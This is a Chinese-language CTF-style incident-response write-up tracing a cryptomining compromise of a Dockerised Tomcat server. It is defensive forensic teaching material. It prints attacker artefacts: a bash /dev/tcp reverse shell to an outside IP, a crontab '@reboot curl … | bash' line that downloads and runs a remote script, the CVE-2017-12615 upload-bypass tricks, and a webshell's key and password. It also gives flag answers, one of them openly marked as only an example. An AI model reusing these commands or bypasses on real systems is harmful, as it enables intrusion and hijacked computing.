应急响应-Docker Tomcat 挖矿入侵溯源
字数 3877
更新时间 2026-02-27 02:32:43

容器安全应急响应与攻击溯源实战教学

一、 攻击背景与初始应急

某公司运维人员发现其Docker容器中运行的Tomcat服务器CPU占用率异常飙升,怀疑被入侵并植入了挖矿程序。安全人员的目标是进行全面的安全分析和溯源,注意不得删除任何感染样本

二、 Docker镜像加载与初步检查

  • 加载镜像:使用命令 cat yingji-v1.tar | docker load 加载提供的应急镜像文件。
  • 初步检查:通过 top 命令查看CPU使用情况。但初始检查并未发现明显异常的CPU消耗进程,只有Tomcat自身的Java进程和top进程。

三、 Q1:攻击入侵点与漏洞分析

攻击路径与漏洞识别

  1. 核心问题:攻击者利用Tomcat的文件上传功能实现入侵。
  2. 漏洞点:检查Tomcat的DefaultServlet配置。关键参数为 readonly
    • 该参数默认应为 true,即禁止通过HTTP方法(如PUT)上传文件。
    • 在攻击案例中,该参数被显式设置为 false,从而允许客户端通过HTTP PUT方法上传文件到服务器。
  3. 绕过机制:攻击者通过精心构造文件名来绕过后缀检查,常见手法包括:
    • 在文件名后添加 ::$DATA
    • 在文件名后添加 /
  4. 实现结果:通过上述手段,攻击者可直接上传JSP木马(Webshell)到服务器(如 webapps/ROOT/ 目录),最终达成远程代码执行(RCE)
  5. 漏洞编号:此利用链对应著名的Tomcat配置漏洞 CVE-2017-12615

    提交答案格式:QHCTF{CVE-2017-12615}

四、 Q2:冰蝎(Behinder) Webshell分析

查找冰蝎马文件

  1. 搜索位置:攻击者上传的文件通常位于 webapps/ROOT/ 目录。
  2. 识别特征:冰蝎(Behinder) v2.0/v3.0 的JSP服务端代码具有一个显著特征:文件大小通常在 2600字节左右
  3. 可疑文件筛选:在文件列表中,查找大小为2615-2620字节的文件,作为重点怀疑对象。例如:
    • I6lPn7.jsp (2620)
    • hMS8xu.jsp (2620)
    • jj.jsp (2615)
    • jjj.jsp (2615)
    • faiz.jsp (2616)
    • zj.jsp (2617)

提取连接密钥与密码

  1. 分析上述JSP文件的源代码。
  2. 在代码中定位关键变量定义:
    • 连接密钥String xc="3c6e0b8a9c15224a"; 这是一个16位的字符串,用作AES加密的密钥。
    • 连接密码String pass="pass"; 这是连接Webshell时所需的密码。

    提交答案格式:QHCTF{3c6e0b8a9c15224a_pass}

五、 Q3:反向Shell C2服务器溯源

分析思路

反向Shell通常会与C2服务器建立长连接,可从网络连接状态、历史命令、攻击脚本残留等方面寻找线索。

  1. 首先检查容器内当前网络连接(如 netstatss),但案例中发现只有Tomcat的监听端口,没有已建立的(ESTABLISHED)异常连接,说明反向Shell当前未运行
  2. 返回木马文件列表,关注体积较小(如358字节)的文件,此类文件通常是简单的“单句马”或“反弹Shell脚本”。例如 shell.jsprce.jsp

发现C2地址

  1. 分析上述小体积JSP文件的内容。
  2. 发现脚本通过执行系统命令建立反向Shell,其核心命令如下:
    sh -i >& /dev/tcp/193.239.86.139/8888 0>&1
    
  3. 该命令将容器的Shell会话重定向到指定服务器的8888端口。

    提交答案格式:QHCTF{193.239.86.139:8888}

六、 Q4:挖矿程序路径定位

挖掘思路

挖矿程序通常具有高CPU消耗、常驻后台、具备持久化等特征。在容器环境中,它们常被隐藏在:

  • /tmp
  • /var/tmp
  • /dev/shm
  • 或伪装成系统服务、隐藏目录。

发现路径

  1. 检查持久化机制:首先通过 crontab -l 查看定时任务,发现了恶意下载任务,这暗示挖矿程序可能是由脚本下载并安装的。
  2. 搜索异常文件:常规路径可能已被清理。因此需查找最近被修改过、不在标准系统路径下的二进制文件。搜索命令可参考查找 /opt/root 等目录下,修改时间在近期(如200天内)的ELF可执行文件。
  3. 识别伪装:在排查中发现两个可疑文件,其特点包括:
    • 隐藏路径:位于以 . 开头的隐藏文件夹中,如 /.kthread//.X11-Xtrace/
    • 伪装名称:命名为 kthreadkworker,这是常见的Linux内核线程名称,用于迷惑管理员。
  4. 确认文件:验证这两个文件为ELF可执行文件。

    提交答案格式:QHCTF{/.kthread/kthread,/.X11-Xtrace/kworker}

文件分析补充(拓展知识)

  • 使用工具 die 检查,发现文件被 UPX 或其变种(如UUU)加壳。
  • 在IDA中查看字符串,可见提示信息 This file is packed with the UUU executable packer

七、 Q5:挖矿程序持久化方式

分析结论

从Q4的排查过程已知,攻击者通过系统的定时任务(crontab) 实现持久化。

持久化配置内容

crontab -l 的输出中,可以找到如下配置:

@reboot curl https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh | bash
  • 触发条件@reboot 表示在每次系统重启时执行。
  • 执行动作:从指定URL下载 exec.sh 脚本,并通过管道直接交由 bash 执行。
  • 目的:确保挖矿程序在容器或系统重启后能自动被重新下载、安装和运行。

    提交答案格式:QHCTF{@reboot curl https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh | bash}

八、 Q6:挖矿程序连接的矿池地址

动态分析方法

直接在受控环境中运行挖矿程序(如 ./kworker),并立即使用 ss -antpnetstat -antp 命令查看网络连接状态。

发现结果

通过动态执行并监控网络,发现挖矿进程(kworker)立即与一个外部地址建立了连接:

  • 本地地址:容器内部IP,如 172.17.0.2:49516
  • 远程地址159.198.35.43:8081
  • 连接状态ESTABLISHED(已建立连接)。
  • 目的:此连接用于向矿池提交算力或接收任务。

    提交答案格式:QHCTF{159.198.35.43:8081}

九、 Q7:矿池服务器的域名

溯源方法

对矿池的IP地址 159.198.35.43 进行反向DNS查询,以获取其关联的域名。

操作与结果

在物理机或具备外网能力的机器上使用 nslookupdig -x 命令:

nslookup 159.198.35.43

查询结果指向域名:vip.onehostcloud.com
> 提交答案格式:QHCTF{vip.onehostcloud.com}

十、 Q8:攻击者用于下载恶意脚本的域名

分析来源

从Q5发现的持久化定时任务中,直接提取下载链接的域名部分。

得出结论

定时任务中的下载链接为:https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh
因此,攻击者用于托管恶意脚本的域名是:www.atteppzkf.com
> 提交答案格式:QHCTF{www.atteppzkf.com}

十一、 Q9:挖矿程序上报的系统信息字段

分析背景与方法

提示指出挖矿程序为Go语言编写。由于静态分析加壳程序困难,可采用动态内存分析

分析步骤

  1. 动态调试:使用 gdb(可配合 pwndbg 插件)调试运行挖矿程序 kworker
  2. 内存转储:在程序运行时,使用gdb命令(如 dump memory)将程序的某段内存(尤其是可能包含上报数据结构的区域)转储到文件。
  3. 字符串分析:对转储的内存文件进行分析,查找可能的系统信息字段名。这些字段通常以明文字符串形式存在于程序中,用于标识上报的数据类型。

发现结果(示例)

在转储的内存数据中,通过搜索可识别的字符串,可能发现挖矿程序收集并上报的系统信息字段,例如(按字母顺序排列):
arch, cpu_num, hostname, os, user 等。
> 提交答案格式:QHCTF{arch,cpu_num,hostname,os,user}
> (注:具体字段需根据实际内存分析结果确定,此处为示例。)

十二、 总结与防护建议

  1. 漏洞修复:确保Tomcat等中间件配置安全,尤其检查 readonly 等敏感参数,禁止不必要的HTTP方法。
  2. 文件监控:对Web目录进行文件完整性监控,警惕异常JSP等脚本文件上传。
  3. 进程与网络监控:监控容器的CPU异常进程和异常外连,特别是到非常见IP/端口的连接。
  4. 定时任务审计:定期检查系统crontab、服务等持久化位置,清除未知任务。
  5. 最小化权限:容器应以非root用户运行,并限制其能力集和资源访问。
  6. 镜像安全:使用安全的基础镜像,并及时更新补丁。
 全屏